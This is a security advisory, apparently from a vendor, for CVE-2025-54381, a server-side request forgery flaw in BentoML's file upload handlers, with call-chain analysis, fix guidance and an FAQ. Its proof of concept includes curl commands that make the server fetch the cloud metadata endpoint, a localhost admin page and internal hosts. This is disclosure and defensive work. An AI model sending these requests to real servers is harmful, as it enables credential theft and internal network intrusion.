CVE-2025-54381

Description

There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.

The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.

The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.

Source - Sink Analysis

Source: User-controlled multipart form field values and JSON request bodies containing URLs

Call Chain - Path 1 (MultipartSerde - No Validation):

1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
2. MultipartSerde.parse_request() in src/_bentoml_impl/serde.py:202 processes the request
3. form = await request.form() parses multipart data using Starlette
4. For file-type fields: value = [await self.ensure_file(v) for v in form.getlist(k)] at line 209
5. MultipartSerde.ensure_file() called at lines 186-200 with user-controlled string URL
6. Sink: resp = await client.get(obj) at line 193 - Direct HTTP request with zero validation

Call Chain - Path 2 (JSONSerde - Weak Validation):

1. HTTP POST request with JSON body containing URL to endpoint with IORootModel + multipart_fields
2. JSONSerde.parse_request() in src/_bentoml_impl/serde.py:157 processes the request
3. body = await request.body() extracts request body
4. Condition check: if issubclass(cls, IORootModel) and cls.multipart_fields: at line 164
5. Weak validation: if is_http_url(url := body.decode("utf-8", "ignore")): at line 165 (only checks scheme)
6. Sink: resp = await client.get(url) at line 168 - HTTP request after insufficient validation

Proof of Concept

Create a BentoML service:

from pathlib import Path
import bentoml

@bentoml.service  
class ImageProcessor:
    @bentoml.api
    def process_image(self, image: Path) -> str:
        return f"Processed image: {image}"

Deploy and exploit:

# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor

# SSRF Attack 1 - Access AWS metadata  
curl -X POST http://target:3000/process_image \
     -F 'image=http://169.254.169.254/latest/meta-data/'

# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \  
     -F 'image=http://localhost:8080/admin'

# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
     -F 'image=http://10.0.0.1:22'

Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.

• Access AWS/GCP/Azure cloud metadata services for credential theft
• Enumerate and interact with internal HTTP services and APIs
• Bypass firewall restrictions to reach internal network resources
• Perform network reconnaissance from the server's perspective
• Retrieve sensitive information disclosed in HTTP response data
• Potential for internal service exploitation through crafted requests

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2025-54381 has a CVSS score of 9.9 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.19); upgrading removes the vulnerable code path.

Kodem intelligence

Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing is_http_url() function should be enhanced to include allowlist validation rather than just scheme checking.

1. What is CVE-2025-54381? CVE-2025-54381 is a critical-severity server-side request forgery (SSRF) vulnerability in bentoml (pip), affecting versions >= 1.4.0, < 1.4.19. It is fixed in 1.4.19. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2025-54381? CVE-2025-54381 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of bentoml are affected by CVE-2025-54381? bentoml (pip) versions >= 1.4.0, < 1.4.19 is affected.
4. Is there a fix for CVE-2025-54381? Yes. CVE-2025-54381 is fixed in 1.4.19. Upgrade to this version or later.
5. Is CVE-2025-54381 exploitable, and should I be worried? Whether CVE-2025-54381 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-54381 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-54381? Upgrade bentoml to 1.4.19 or later.